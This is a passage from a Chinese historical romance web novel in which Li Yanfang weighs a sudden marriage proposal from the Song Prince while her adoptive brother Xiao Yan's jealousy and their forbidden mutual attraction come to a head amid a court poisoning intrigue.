但在面对牵涉其中的上官柔仪时,李宴方只觉得自己阴暗且卑鄙,像个白日内抬不起头的小鬼,一经光照,便要灰飞烟灭。
愁绪万千,似风中蛛网,不经意间笼住她的黛眉。
“今日之事,不知宴方姐姐如何看待?”
上官柔仪见她自然而然提及萧偃,顺势试探,她总觉得以李宴方的洞察力,不会不知道萧偃对她的感情。
她有一杯酒,萧偃也有一杯酒。
李宴方知晓在上官柔仪面前瞒不住这事,清嗓吟道:“墙有茨,不可埽也。中冓之言,不可道也。所可道也,言之丑也。
墙有茨,不可襄也。中冓之言,不可详也。所可详也,言之长也。
墙有茨,不可束也。中冓之言,不可读也。所可读也,言之辱也。”(注1)
上官柔仪惊在原地,未曾料到李宴方会吟出这首诗。
这是诗经中的一篇,讽刺的是宫墙内国母与公子私通的淫.乱丑闻。
放到李宴方与萧偃身上就意有所指——姐弟罔顾人伦,上官柔仪大骇,不由得生出冷汗。
今日姐弟二人如若真的中计,萧偃尚有功勋傍身,朝廷寄希望于他收复失地,也许会尽力保下他。
可对于要承受更多口舌是非的李宴方而言,兴许羞愤难当,以死谢罪。又或者是“主动”保全义弟名节,赴死以证清白!
留给李宴方的皆是死路。
上官柔仪怔怔凝望闭目长叹的李宴方,她一定知晓萧偃的感情,所以才会因此而忧愁苦闷。
情之一字,最为难解。
二人之间因姐弟身份而缘起,亦因姐弟人伦而受阻,哪怕并非血亲,但世道早已将其置于同等规则之下。
“夜已深,你安心回去歇着吧,我出去走走。”
李宴方下了逐客令,心想萧家灭门是否会与今日之事有关?
万一突然窜出个萧家老人信誓旦旦称姐弟二人乃血亲,在此事之后把谎言坐实,那就真是跳进黄河洗不清。
所以是有人威逼萧家不成,且暴露身份,干脆满门灭口?
她忧心忡忡地推开客舍的门扉。
加强巡逻的带刀侍卫往来警戒,威武肃穆,而鸿毛轻羽般的白雪落得温柔悄寂,气质迥然的二者相碰,倒也别有一番味道。
大长公主对宾客表明庄中乐伶为攀附权贵,暗中投药,她已经处置。李宴方不确定她是否查出背后黑手,若是查出,也苦于没有确凿证据揭露,只能先吃个哑巴亏。
像她一样。
投入酒中的药物要经热水升温才能激发药效,这种药根本无法在仆从布酒时查出,李宴方想起自己捏着羽觞时那一股暖意。
她脑海中复现白日情形,在她上游能做到加热的人仅有一位,正与友人烹水泡茶的陆怀,陆怀极有可能趁着她的羽觞流过面前时倒入滚烫头汤,以激活杯中药效,令人浑然不觉。
而落弦音给她的供述,让她得知一事。
据落弦音所言,他得罪的山庄人正是与四和春楼有来往的另一位乐伶,那位乐伶与一位老仆做生意,后来这位乐伶就是在这次事件中被处置的那位。
李宴方问老仆外貌特征,落弦音道出他常年戴着手套,他悄悄观察过,是因为手背上发满紫斑。
寻常人肯定无法得知老仆的真实身份,但李宴方做过三年的世子夫人,并且她在府内广发善心、善待仆役,恰好在公府内最偏僻的花圃旁见过这位老仆。
但鄂国公府启用一个从不被人注目的老仆做今日计划的关键人物,摆明要隐藏鄂国公府的行迹,那么前些时日,又怎么会让灭掉崇州萧家满门的杀手堂而皇之回鄂国公府复命?
难道这其中还牵涉一方,而这是另一方留下的暗示?!
李宴方冥思苦想之际,脚步却不曾停留,正迈向谢月台,事情也算告一段落,萧偃清清白白,但他并未来到客舍。
她想,他当是在等他。
她经历一日惊心动魄,崇州萧家之事又有了新线索,他竟然还在耍脾气,等着她去接他么?
她不知是委屈还是愠怒,总之,决定要去教训他一顿!
或许早有人料到李宴方会去谢月台寻找萧偃,已在必经之路上等候多时。
高贵英雅的男子独自撑着一把伞,缓步行至亭中,他优雅地抖落伞面霜雪,伞面上气韵独到的画作因此显露
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无遗。
是他的亲笔,江南亭驿,小桥流水,月下疏梅。
那人抬眸望她,是宋王李攸。
“攸未曾想过竟然能在皇姊的山庄中,凭借留于长卷中的字迹,再度邂逅上元射覆的女子,乡君,我们可算有缘?”
李宴方走入亭中,展眉轻笑:“缘由天定,是这一出风雪把宋王吹出客舍了么?”
缘究竟是天定么?
李攸抬起常年执笔作画的秀骨玉掌,接下一片飘落至亭内的雪花,像是存有于寒风卷吹中极力保护之意,尤为珍重地将其捧于掌心。
“不期而遇的大雪将乡君困在山庄,庄内有生出许多波折,扰人难安,不知乡君是否需要一把伞?”
并非天风吹他而至,实为他刻意前来寻她。
一语双关么?李宴方似懂非懂,然在对面不挑明之前,她只将其当作闲谈,平静道:“疾风骤雪总会平息。”
“可若有人故意要搅得人不安宁,又当如何?乡君不像是坐以待毙之人。”
李攸的言词并不激烈,说来有温吞儒雅的顿挫,可这话中内容倒是一点都不客气。
“宋王此言何意?”
李攸掌中那一片雪花早已被他的体温融化,冰凉潮湿,留在肌肤上久久不去,留给他的时间不多了,虚以委蛇便无甚必要。
他坦言:“今日庄中风波,有一人行迹诡异,冒犯乡君,而他在麟德殿上所言和亲之事,绝非真心真意求娶,且他狂放妄为,视规矩体统如无物,绝非良配。更不论边塞苦寒,风俗殊异。”
指责他人时理直气壮,但谈及自己的打算,神清骨秀的眉目间生出一两分难为情。
涧关泉流般的清润嗓音再度响起:“攸于上元之夜邂逅乡君,射覆嬉戏同竞一词,同时而得,攸留心寻觅,幸而苍天眷顾,得以重逢。”
她凝望着他因表白而微微涨红的玉颜,心头一震,事情开始向她意料之外的方向发展,她不由得也跟着李攸紧张起来。
“若北戎王子表露心意,执意求娶……不如乡君嫁与攸,攸虽身无长物,不涉官场,唯有一介皇亲身份,王妃之位可保你无须远嫁,护你无忧。”
李宴方愣在原地,第一次正式见面就表白求亲,这是不是太仓促了!
虽说她对李攸并无不满,甚至印象尚可,但李攸操之过急的言辞让她无所适从。
见李宴方沉默不语,眼神躲闪,李攸心知不当如此咄咄逼人,把这些婚姻大事说得如儿戏一般,心生悔意。
他面红耳赤地取出珍藏在袖中的那一方绢帕,递给她,支支吾吾道:“这可是乡君遗落的绢帕?”
李宴方目光停驻其上,赫然想起这就是赵凝清当日给她过目的手帕之一!
怎么会到了李攸手上?
她思来想去,定是赵凝清悄悄塞给她,而这帕子约莫就是在射覆的地方掉出去,恰好被李攸所得。
真不知道是该说赵凝清“从中作梗”十分有效,还是该说她与李攸确实有些缘分,哪怕在一场乌龙下,也能让二人有意想不到的关联!
李宴方心道,古有赠帕题诗,藏有男女相思之意,这绢帕若是接下,只怕李攸要以为她答应了婚姻之请。
此时心中忐忑的并非只有李宴方,李攸本怀着满满的信心说服她,但如今他陷入怀疑之中。
亲王正妃被迫和亲,那简直是把大晟朝的颜面彻底拉下来丢到地上来回践踏。此事绝不可能发生。
她一定会心动。
最初,李攸只想与李宴方达成交易,他予她身份,免她被那木拓觊觎,而他从中获得的则是与舞阳侯萧偃的姻亲关系。
只是现在,他精于计算的心脏砰砰直跳,让他想到“小鹿乱撞”一词,在此之前,他从未想过有朝一日这四个字会用在自己身上。
其实撇开利害,他与李宴方也当是能琴瑟和谐,相敬如宾。
才子佳人,最为适配,他如是作想。
襄王有意,神女何为?
山亭内静得似乎连落雪覆地的微响都变得喧嚣哗然。
注1出自诗经《鄘风·墙有茨》。
36. 待月
风雪寂落无声。
就在几刻时辰以前,上官柔仪在李宴方面前提及萧偃,提及今日的酒,李宴方不可避免地作了最坏的设想。
假如二人稍有不慎,贼子毒计得逞,她该如何?
一想到那个混乱疯狂的场面;一想到那个本不该出现在这个场合的男人;一想到会与那个人……
李宴方心里便会泛起巨浪狂潮,里头是被浪潮拍入海底的羞耻赧然,和被汹汹水势冲上海岸的负罪恶感。
她恨不得将前者埋入地下深渊,永不暴露;她巴不得将后者曝晒于烈日之下,灰飞烟灭。
不能,绝对不可以那样,事情若真到那步田地,她绝对接受不了!
令她窒息的设想,似黑雾迷障,她要破瘴,她要逃离,而恰是此时此刻,前方豁然开朗,一个光明刺目的出口闪现眼前。
与萧偃,那是不正常的关系,而眼下一段看似极为正常的良缘摆在她眼前。
她与李攸。
上元佳节,良辰美景,相遇时既有志同道合,又有心有灵犀,阴差阳错留下的一方绢帕又恰好被他拾去,这几件事恰好到处地串在一起,摆明告诉她,彼此缘分匪浅,似乎连苍天也极力撮合。
而且她的乡君并非因天家血脉而封,与李攸结合,自然称得上是一桩良缘。
最重要的是李攸的亲王身份拥有巨大优势,她不仅能借此摆脱那木拓,还能摆脱显赫一时的舞阳侯萧偃。
她而今要通过一桩正常的婚姻来改变现状,李攸会是一个好选择么?
如果他确有真心,当是吧。
李宴方定了心神,开始思索这一切该如何顺理成章,她问李攸:“宋王当知晓我为孀妇,我即使无需为先夫守节,但新寡不过半载便谈婚论嫁,岂不遭人闲话?”
这一点李攸丝毫不介意,何况他娶李宴方为的是萧偃手中兵权,兵权可从没有“孀寡”之说啊。
他以为李宴方因有过一段婚姻而自轻自贱,温柔而坚定道:“我只知那日心有灵犀之人是乡君,再说北戎的计策若是稳步推进,这一点根本无法阻拦和亲之策,我想乡君还是该早做打算。”
李攸把局势紧迫、尽快拍板的原因归结为北戎一方的计策,只是为了掩盖他心中的焦急万分。
李宴方道:“宋王愿救我于水火,我感激不尽。婚姻之事并非儿戏,我只想问宋王爱我,究竟有多爱?还是宋王只希望找一位持家有道、大方娴淑的王妃?”
李攸心头一喜,如果女子认真询问所爱几何,便是说明她动心了,她在乎了,而他因她的在意春心荡漾,几乎是不可遏制地开始畅想起将来。
他俊俏的脸瞬间红了,思索一番后斟酌道:“朝思暮想,辗转反侧,可算?”
她只轻笑,好似并不满意:“可是,宋王殿下做的这些我还看不到呢。”
如有一人真心爱她,他定然会在一举一动中尽显珍视爱护之意,这些举措就似夜中明月,云雾无法遮掩,星斗不可夺辉。
人人可见之。
脑海中突然闪过一个人和很多件事。
她心头大震,当她在不经意间把那人与如今和自己谈论婚事的李攸相提并论之时,就说明她极为在意。
无意识间流露的思绪比快刀杀得更猛烈,心腔内剧烈的疼痛让李宴方无比清醒。
她留下面红耳赤、不知所措的李攸,起身步入未歇的小雪中。
冷冽小雪扑到燥热的面庞上,让李宴方平静。
怎么会这样,她明明就不该想起来,她就是想要摆脱他呀!
她彻底陷入两难,身后是不愿意靠近的萧偃,眼前是毫无深交的李攸。
李攸的出现太及时,她差点遭那木拓暗算,便有一人主动出手要相救,她本该被他的坦诚打动,可她没有忘记一件事。
李宴方今日可是光明正大地求大长公主将乐伶赐给她,他真的不介意未来的王妃有这个举动吗?
这让她起疑。
因而,她不答应他,也不拒绝他,为日后留下探查的机会。
*
谢月台遗世独立,傲居于一处幽静远僻的小山上,方位极佳,抬头可见天光月色,俯首视见雪漫重梅,确为庄中一景。
本为大长公主的望月雅舍,可于萧偃而言,就如同与世隔绝的囚牢。
他在等一个不知会不会来的人。
萧偃人虽然足不出户,但耳聪目明,消息灵通,他得知这一日山庄内所发生的一切。
大长公主的人前来请他前去客舍安歇,他以赏月为由婉拒。
可风雪突至的暗夜,哪里有月?
等,等到他心里的月上了中天,等到她把别的人、别的事都料理完毕,她还会记得他还在这里么?
山庄最高的小山,离月最近,最幽冷孤寂。
萧偃灌下侍从送来的酒,软绵香甜,冲刷不掉心中愁苦,洗刷不去丧家之犬的落败凄然。
“当真是‘人怜花似旧,花不知人瘦,独自倚阑干,夜深花正寒。(注1)’一首菩萨蛮,一个和月山庄,一道孤影,正正好。”
他推开轩窗,屋内烛光漏下,洒在近处的石阶上。
他又斟来一杯酒,此时风里传来脚步声。
他颓丧瞬间被一扫而空,又觉自己极没出息,她可以冷落他,可以置他于此处不予理会,可他见到她时会难以自禁地期盼着,欢喜着。
与村舍阡陌内给个馒头就乐得尾巴摇摆的黄狗别无二致。
雪夜独登台,李宴方淡青裙裳在夜色中显得清冷寒白,一步步的拖曳,像一寸寸割开夜幕的雪亮刀锋,带来光华漫天的希望。
李宴方拾级而上,行至台前,见紫电守卫于此,挥退,独自推开门扉。
他站在那里,就像等了她许久。
他在见到她的那一刻,突然就生出怨怼,他居然不是她解决问题之后第一个找的人。
“阿姊,你为何独对我吝啬?”
深夜里的幽怨伤怀腔调比窗外的风雪更冻人,他望来时,墨玉乌珠般的眸子闪动,不知是因为恨,还是因为苦。
李宴方有一瞬间差点被他迷惑,在胸腔里才氤氲而生的怜惜自责还未成势,她就想起他惯常会在自己面前耍心机的顽劣模样,不怜反怒,真是后悔来找他了,真该叫他在此处喝饱西北风!
“还吝啬?我对你已经够纵容了!容你一次一次的试探,一次一次的越界,一次又一次的耍心机、玩花招!现在也是吗?等着我来找你,看着你整日颓废,无所事事的模样?”
屋内有酒气,想都不用想就知道萧偃之前在做什么。
不知为何,她此时的委屈竟然大过愤怒,她有解决今日之事的能耐,她不怀怯意,不惧危险,但眼见他心安理得毫无作为的样子,心头竟然涌起一股复杂难言的情绪直冲脑海。
叫她失态,简直想打他一巴掌。
不是对自己说好了要摆脱他么,为何会被他三言两语激中,会因他所作所为而失态?
可萧偃好想告诉她,他没有无所事事,他比她想象中更在乎她的安危。
他知道有人用一个死在鄂国公府后门的杀手道出暗示,推测今日宴会上可能有人狗急跳墙,多方纠葛,你来我往,互相试探。
他派紫电暗中保护她,紫电果不其然发现蹊跷。
临水轩舍外,螳螂黄雀,齐聚一堂。
陆怀借故风寒咳嗽,遣出仆从寻医,扰断山庄侍从追踪那木拓的步伐。
宋王李攸的几名随从打着替主子搜寻不慎遗失的玉佩之由,在轩舍方圆百步内活动。
当然还有阿姊的好友,担忧她出事,唤来山庄侍卫,前往相救。
直到紫电告诉他,阿姊在那木拓闯入后破窗而出,得到侍卫的接应,他仿佛真的瞧见阿姊一跃而出的模样,那一定不带丝毫狼狈,只有果决干脆,和暗暗不显的得意。
她怎么会失算呢?
他见紫电愕然,才知道自己无知无觉流露的微笑,让旁人察觉了。
现在萧偃只想把心头的结论告诉她,陆家与那木拓狗急跳墙真的逼出了疑似暗中作梗的势力。
宋王极为关注此事,李攸在其中究竟扮演什么角色?宋王在作画之时,替舞剑的萧偃解围与此也有关联么?
可面对李宴方的质问,他头脑里的分析遭到打断,他被她轻而易举地拖入她的情绪汪洋之中,任由她主
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导他的沉沉浮浮。
萧偃想起他的委屈。
他破罐破摔凄惶惨笑:“阿姊,你先与上官柔仪谈心,又偶遇宋王,很忙啊。”
“宋王”二字被他咬紧牙关道出,可疑的目标和招摇的野狐狸竟然是同一个人,这让他不得不提高警惕。
萧偃不提起宋王还好,一提起宋王就让李宴方想到方才发生的事,他既然知道她见过宋王,为什么不把她与宋王的谈话也听了去?
这下好了,由她亲口告知他。
“我忙我的,难道还要向你交代么?”她步步逼近,已然预料到他接下来的反应,看好戏似的,给烈火上倒浇热油,“还是说宋王向我求婚,我也要问过你的意思后再同意?”
逆鳞,这绝对是萧偃的逆鳞,李宴方毫不顾忌地直言。
模糊失序的状态让李宴方难以忍受,她简直是通过刺激萧偃而报复他。
泛着酸苦味道的笑意果然在萧偃脸上冻结凝固,进而被逐渐侵蚀的惶惶无措与震怒愤慨取代。
“你要同意?可他有问题!绝对不行!”
他几乎是口不择言,忘记本该向她有条有理地分析疑点的措辞,结果像个无奈的醋坛子,开口就是责骂。
萧偃以为他能用那些话说服她的,因为她理智清醒,绝不会一时为情绪迷惑,作出误判。
她不会的,他安慰自己,可若是她真的喜欢,他该怎么办?
酒气冲脑,令他失去理智。
李宴方却反唇相讥,彻底击碎他的幻想:“他喜欢,他在意,他关切,我为什么不能嫁他,萧凭陵你说啊?”
“而且,你这么小心眼,时不时与我闹脾气,但李攸温润平和,怎么看也没有你这般恼人的做派。”
言中所指,便是白日内的不快,不就是因为她跟上官柔仪先走了而已。
李宴方毫无保留,又逼近一步,萧偃近在咫尺,屋内的灯光将他阴沉不定的面庞切割出阴阳分明的界限,汹涌情绪藏在阴暗之下,蓄势待发。
“还是……”她走得更近了,如兰吐气洒在他肌肤上,如烈火灼烧,如沸水滚过,烫且痛,要把他挫成灰烬。
他失了神,他想争辩,他想自白,他想告诉她,他比李攸更喜欢,比李攸更在意,比李攸更关切,可她太不讲情面咄咄逼人,逼得他哑了声,灭了势。
李宴方骤然地、破天荒地袭击他的面门,在被名酒润过的下唇,飞快地、怀恨地、目的不纯地留下一触即逝柔软感触。
一瞬间的温情脉脉,令他险些忘记这是何时何地,何情何景。
狠心绝情的李宴方不等他回过神,就利落地将柔情戳破,带着极强的敌意,怒斥他。
“还是喜欢这样?对我用强?可囚,可困,可暗无天日,可为所欲为,让我离不开你?眼里再也装不下别的男人?”
“哦,不仅是男人,是所有人,可能连道旁的狗也包括。”
萧凭陵,你不就是这么想的么?她冷笑着挑衅。
李宴方毅然直面所有的羞愧耻感与有违道德,捅破最后一层窗户纸,做好最坏的打算,见识他与自己最卑劣、最流俗的一面。
她终于在两人迷乱越界的相处中剑走偏锋。
甚至做好一切被推翻,见证破碎狼藉的心理准备。
她笑,因为她和他一样,是个疯子。
可萧偃诡异地平静下来,是比翻滚呼啸的浪潮在瞬间被寒风冰冻更为诡异的停滞。
他红着耳尖,极力隐忍涌动的情潮,别过脸去。
“阿姊,这件事上你大错特错了。”
她这么想,是对她的轻蔑,是对他的污蔑。
“我不是陆韫之,我也不会让任何人成为陆韫之。”
他的眼神终究是落到别处,没能直视她的双眼,事到如今,他竟觉得这句话再不说出来,以后兴许没机会。
阿姊曾为旧事难过痛苦,以后再也不会了。
因为他会护着她,而不是再让她委曲求全,磋磨自我。
今日他会拦着别有用心的宋王,若有朝一日,他自己若有了苗头,他必会斩掉那个苗头。
注1出自朱淑真《菩萨蛮·咏梅》。
37. 影子
夜雪早霁,地面积起寸许的白霜。
李宴方的脚步急切慌乱,留下深浅不一的印子。
真心克试探。
她纠缠凌乱于内心的那些阴暗扭曲、疯狂无道的千万道思绪,就轻而易举地萧偃一剑斩断。
这剑法出其不意,势如破竹。
这剑气浩浩荡荡,光明磊落。
他一直都清楚自己最介意什么,最抗拒什么,她的话他全都暗自留心。
小跑的步伐放慢,李宴方突然难过不已,胸腔酸涩,心脏疼痛。
她总以为是他越界多次,逼迫自己太过,今夜惊而发觉,自己的离经叛道上也不遑多让。
被迫无助是假象,褪去层层伪装,主动凶狠暴露得淋漓尽致。
李宴方从来都不无辜。
仔细回想,金澜池外的期待,上元之夜的回眸,还有亭下与宋王相谈时,眼前突然闪过的人影和那一瞬间的心慌震惊。
她当真“死有余辜”。
李宴方踩着蓬松的新雪,留下细微轻响,身后有脚步声,是她很熟悉的那个节奏。
萧偃的,她没有回头。
心慌神迷的时刻,思索迟疑的间隙,李宴方松懈了防备。
梅间灯下,一道漆黑高大的身影,从埋伏的林间石后走出,现身于李宴方身后。
“二位雪夜幽会,不知廉耻!”
她的思绪被廉耻二字生生拽回,它们仿佛化作缠藤铁索,把她差点逃逸出伦理教化束缚的心心念念,尽数缉拿归案。
脸上火辣辣地疼,她辨出怒斥的来源,是鄂国公府的陆怀,陆韫之的二弟,放在从前,他须唤她一声阿嫂。
前夫亲弟的身份,让陆怀斥责起来多了几分理直气壮、义正词严。
正义之使陆怀身后的人突然暴起,似猛虎一跃,十步之间的距离眨眼间就被缩短,一道拳风骤然来临,将怒目审视李宴方的陆怀击倒在地!
“鬼鬼祟祟的东西,嘴巴放干净些!”
萧偃冷声提醒,听到有人羞辱李宴方,比自己被破口大骂更令他愤怒。
趴在地上的陆怀头脑一片空白,脸上、口鼻里传来寒冷刺骨的冰冻痛感,背后那突如其来的一拳还留下深入肌骨的钝痛,仿佛敲碎了骨骼,袭击了脏器。
萧偃单膝扣压着陆怀的后腰,叫他动弹不得,一手抓握其乌发,逼他仰起头来。
其实萧偃已认出陆怀,但他就是单纯地想揍他而已。
他赶不上痛打一顿陆韫之,陆韫之已经化为灰烬,兄债弟还,天经地义。
李宴方道:“这是鄂国公府二公子,放开他吧。”
山庄内加强了侍卫巡逻,很快就会有人发现这处的异常。她几乎是下意识地就为萧偃谋算好退路,天暗生出误会可比他明知陆怀身份还非要动手容易解释得多。
萧偃讥讽道:“原来鬼头鬼脑、埋伏多时的是陆二公子啊,对不住,灯太暗,萧某当真辨不出来。”
他的配合堪称默契无比,甚至不需要眼神交流,因为这类型的事情从小到大,二人已经历过无数次。
她与他,是最能心领神会的合谋共犯,无论何时,无论何地。
萧偃因此不情不愿地松了手。
陆怀狼狈地爬起来,怒气冲冲:“你们夜半相会,行其实,却畏人言,可笑,太可笑了!”
今日计划受挫,陆怀心有不甘,前来捉贼拿脏,没想到真给他遇上了。
“唔”一声沉闷的痛呼,腹部再中一拳,腹中翻江倒海。
“你听着,她是我姐姐,我护送她回客舍,是正常得不能再正常的举动,我不出现,难道要让你这种鬼祟小人有机可乘吗?”
黝黑阴沉的双瞳,森寒砭骨的杀意,这是萧偃给他的最得体的警告,若不是阿姊在这里,他真想把陆怀的骨头打断。
越想越气不过的陆怀下意识反驳:“可是……”
话音未出,已在愤怒边缘的萧偃一把扯过他的衣领,从雪地上拖至面前,陆怀蓦地撞见一双凶兽的眼,比他在围猎时见过的猛虎更凶悍,更想……把人大卸八块,嚼骨吮血。
陆怀瞬间软了腿脚。
“萧凭陵,放他走。”
现在还不是动手时候,李宴方知道陆怀是恰好撞上萧偃心头不快之时,加之他的身份,引起萧偃的暴怒。
话音刚落,陆怀眼睁睁见一头横暴狠戾的猛虎收了爪牙,甚至连充满野性与杀意的幽深双瞳都变得平静从容。
李宴方牵绊着影响萧偃的情绪,寻常姐弟会是这副模样?
“她叫你什么?”震惊令陆朴口不择言。
他言出即后悔,他怎么还敢这么问?
没有意料中警告与捶打,萧偃意味深长地对他道:“我过去使用二十多年的名字,她从认识我的那一天起都是这么唤我,而现在,只有她一个人这么用,陆二公子不知晓也是常情。”
陆怀竟然从平淡合理的措辞中听出一股隐秘浓厚的暧昧情缠,字字句句皆在在暗示,萧偃独属于李宴方,时间跨度包含过去、现在与将来。
“走吧。”
李宴方并未在陆怀面前再出言反驳解释,率先迈步离去,萧偃随即跟上,这一回,他跟得更近。
犹如在梦中神游的陆怀依旧愣在原地,身体内的痛楚再度袭击时,他才意识到这里到底发生了一场怎么样的闹剧。
*
和月山庄万籁俱寂,已是人定之时。
待二人行至到大长公主为李宴方安排的客舍,待命的丫鬟急忙前来迎她,今日照清身体不适,故未跟来。
李宴方终于回过身,对紧随身后的萧偃道:“你回去吧。”
这是自谢月台后,她正视他的双眼所道出第一句话。
她说得自然坦荡,仿佛谢月台上什么都没有发生。
像一道无形的疏离隔障。
大长公主将萧偃的客舍安排在李宴方隔壁,在所有人眼中,这一对姐弟住得近是十分正常的事情,可偏偏就是这三两步的距离,让萧偃迈不开腿。
周围景致沉默在雪后的寒意中,他如入定老松般站在台阶下,而李宴方站在门前,两人之间隔着三五道石阶。
客舍屋内澄明温暖的灯火透过窗花散漫而来,与黑夜、梅枝、白雪一同营造出的阒寂幽暗,划出楚河汉界,分阵对垒。
可人与人之间的纠葛缠缚,不似黑白分明的院中景。
正如此刻,二人在地面相印的影子。
重重叠叠,你中有我,我中有你。
人不动,影亦静。
“阿姊,我有事请教。”
话不单是说给李宴方听的,更是说给门前的两名丫鬟听的。
那个极浅、极快的亲吻,没有爱意,只有试探与攻击,可他显然忘不了,放不下,一旦回想起就会心潮起伏,浑身血涌。
而汹涌澎湃掩盖的是内心的惶惶不安。
萧偃急切地渴望得到一个安抚,一个暗示二人并未决裂的音讯。
旁人尚在,李宴方皱起眉头,说“有什么事情不能回家说”不妥;说“进来吧”,她心虚理亏,贼般慌乱。
真正打破微妙对峙的是两名极有眼力见儿的丫鬟,不必待客人吩咐,便低首翩翩退走。
李宴方轻叹,转身向屋内走去,而萧偃不约而同地在同一刻迈开步伐。
人一有动静,雪上的两道影子交叠得更为难分彼此。
朱门闭合,两道影子被门窗上的纱縠隔在屋内。
“陆二过去也这么冒失吗?”萧偃仿佛真的是在请教她。
“嗯,平庸之辈,否则远离朝堂一心玄道的陆韫之早就被陆朴放弃了,”李宴方骤然冷笑,“他能有今日还得谢我,真是
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不知好歹的东西。”
陆韫之在时,废长立幼的名声实在不好听,偏偏陆韫之死了,徐夫人也再成不得气候,要不然哪里轮得到陆怀?
有些事揭过去便当作没发生,但涉及利害,她可不会缄口不言。
李宴方想起今日收集到的线索:“不过也能确定一事,四和春楼和鄂国公府确有关联。”
“拿到证据了?”萧偃挑眉,阿姊果然箭无虚发,今日一番折腾下来已有眉目。
“尚未,但查起来方向明确,若是两方真的暗中勾结……”言及机密,李宴方压下声音,二人之间的距离稍稍被拉近,“我推测,昔年陆朴执意要毁坏的东西,兴许就与合作有关。”
也许那样东西恰恰说明他是个不可靠的盟友呢?这一场合谋注定会生嫌隙?
他道:“此事或许影响二者关系,但事已至此,与其查证缘起之初的旧事,不如及时挫败其阴谋诡计,也许那时谜底便水落石出。”
萧偃道出心中所想,鄂国公府果真与外敌勾结,意图叛国,须打起十二分精神对待。
李宴方思来想去,这其中还差很关键的一环。
“我担心他们今日不得逞,为防止我们与大长公主的追查,在四和春楼龟缩一时,拿不到关键证据。而且,四和春楼就算与陆家有关,但他们可以将北戎摘出去,没有联络书信为证,也无法定下陆家通敌之罪。”
“既然陆二如此莽撞,不如就从他下手好了,”萧偃心中已有计较,“对了,今日还有一人不可忽略,宋王。”
真是哪壶不开提哪壶,李宴方白了他一眼,干脆背过身去。
“你说人家形迹可疑,但他剖陈心迹,对我关切,行踪便也能解释一二。更有上元前缘,可见不是为今时今日专门作的局。”
身后的男人听她有理有据,似为宋王开脱,倒吸一口冷气:“可以崇州萧家事发之时算起,便是在上元之前。”
“那有如何?你能确认他也派人前往萧家了么?而就算此事与上元有关联,他如何确定能与我同射一覆?”
李宴方心知宋王不可轻易托付,可她不知萧偃怀疑厌恶李攸是因为萧偃发现他确实可疑,还是借着猜疑散发醋意。
毕竟萧偃太小心眼了。
“上元之夜漫长,没有射覆也会有灯谜,没有灯谜也会有河灯,他今日作态不是摆明了在暗示与你缘非泛泛?因而顺理成章求娶,你同意了?”
萧偃终于提出最在意的问题,他求了她两次,她两次皆拒,难道随便一个路边跑来的阿猫阿狗求娶一次她就能应下?
他就这么被比下了,输尽了?
姐弟二人相识十余载,寒来暑往,年复一年,她的爱好、她的习惯、她的脾性、乃至于她不为外人道的险恶与手段,没有人比他更了解、更上心、更能与她配合得默契无间。
阿姊与他才该是天生一对!
她真的选择宋王?
他无论如何都不能接受!
萧偃一步上前,靠近李宴方,急不可耐地等待着她的答复。
今夜,二人又一次离得近在咫尺,他再一次轻嗅到她清新的发香,尚未远去的记忆又从心海深处,被似曾相识的香气打捞而起。
他垂眸,长睫轻颤,忽见灯烛摇红之中,地砖上的人影已合二为一。
像纵情拥抱至海枯石烂的恋人,年深月久地纠缠,早已不分彼此,仿佛到天荒地老那一日,就会化为同一尊石像,在将来无尽漫长的岁月中,一道被碾作尘埃,散尽风里。
失意且绝望的心动,就这般肆无忌惮地从胸腔爬上面容,从心底染至眼瞳。
酸涩惆怅,与冲动渴望扭绞成一条紧实的鞭,虚空之中狠狠抽下,催动他的心神。
萧偃突然低下头,靠近李宴方的颈侧,在她层叠交错的绣领上落了一个极轻、极淡、极快的吻。
38. 招摇
天寒地冻,四野昏暗,万籁无声。
如同黑夜中的失路之人,拼尽一切奔向远方渺茫的曙光,体寒失温之人会下意识地不断靠近热源。
李宴方的热源在身后。
不似骄阳灼热,不似炭火干燥,是人的体温。
它缓慢而温柔地渡过来,犹如潮湿的暖雾,无声弥漫,将她妥帖地包裹于其中,替她阻隔身外的寒霜风雨。
那人的双手环上她的腰肢,虚虚地拥抱着,没有触感。
她低下头瞧见那双手的清晰模样。
五指修长,骨节筋络起伏出边塞关山般的威武崇峻,兼具赏心悦目与肃穆俨然。
那人的右手拇指上戴着一枚玉质射决,常年随身佩戴使用,有风霜的痕迹,亦有独特的温润。
李宴方蓦地想起来,这是萧偃的玉韘,身后的人是他!
并不安稳的睡梦中突然地动山摇,分崩离析。
周围人声浮动,一道熟悉的声音关切道:“主子,小心。”
“嗯。”被紫电提醒的人温声回应,轻手轻脚把怀中人横抱下马车。
怀抱中的体温如梦境内别无二致,逐渐回过神的李宴方心头一震。
她佯装未醒,暗暗想,一定是昨晚夜里将他轰出去后,辗转反侧,难以入梦,今晨辞别大长公主,乘坐马车离开和月山庄回府,路途遥远,她困倦疲敝,竟不知不觉睡去,并且还做了个怯于回想的梦。
而现在自己居然就在梦中人的怀里,在阖府面前,被他横抱着走往招摇!
他的步伐稳健,但她却忐忑难安。
只因梦境与现实边界模糊,让她分不清是是梦是真。
连睁开双眼面对的勇气都消失殆尽。
继续装睡,如他除夕装醉一般。
李宴方第一次恼怒于从大门至东院的路途竟然这么长,该不会是长腿阔步的人故意放慢吧?
如“卧”针毡的李宴方恨不得从他怀里跳下来,再一溜烟跑掉。
可她又要如何面对他回望的眼神?
那时候她不知道会有多窘迫!
她后悔地想,要是自己在途中没昏睡就好了。
“乡……”得知乡君归来,从病中起身的照清见此情此景,震惊得话都说不利索。
那诧异惊讶的话音被假寐李宴方听去,她绝望地叹,这下子连最不愿意正视真相的照清,应当也发现姐弟二人关系不对劲了吧。
抱着她的人小声吩咐照清开门,照清带着呆愣,迟疑地打开住处的房门。
萧偃未有交代,径自把李宴方抱入内室床前。
屋内熏香微淡,恍如春风初至的芳园,李宴方嗅到熟悉的气味,便知床榻近在眼前,遽然紧张起来,此人意欲何为?
怀中的人有一瞬间紧绷,萧偃的笑唇勾得极为明显,面上暗含得意之色,果然如自己预料一般,阿姊是在装睡。
她被他稳妥地一路抱回来,她清清楚楚地知道。
昨夜交叠得再亲密的灯下人影,也是虚幻不可捉摸,那里比得上此刻臂弯里的温暖深沉来得切实际?
他已心满意足。
萧偃轻柔地将阿姊横放与卧榻中,替她褪去钗环绣鞋,将锦衾拉来,替她盖好,放下玉帐银钩,一重杏色的纱帐便将他凝望李宴方的目光隔断。
依依不舍停顿一会儿,他轻声道;“阿姊神机妙算,不作无用布局,不消一日便大有进展,谈何金身毁弃?”
既是曾经醉中听闻的呓语,此刻也当用梦里絮言作回应。
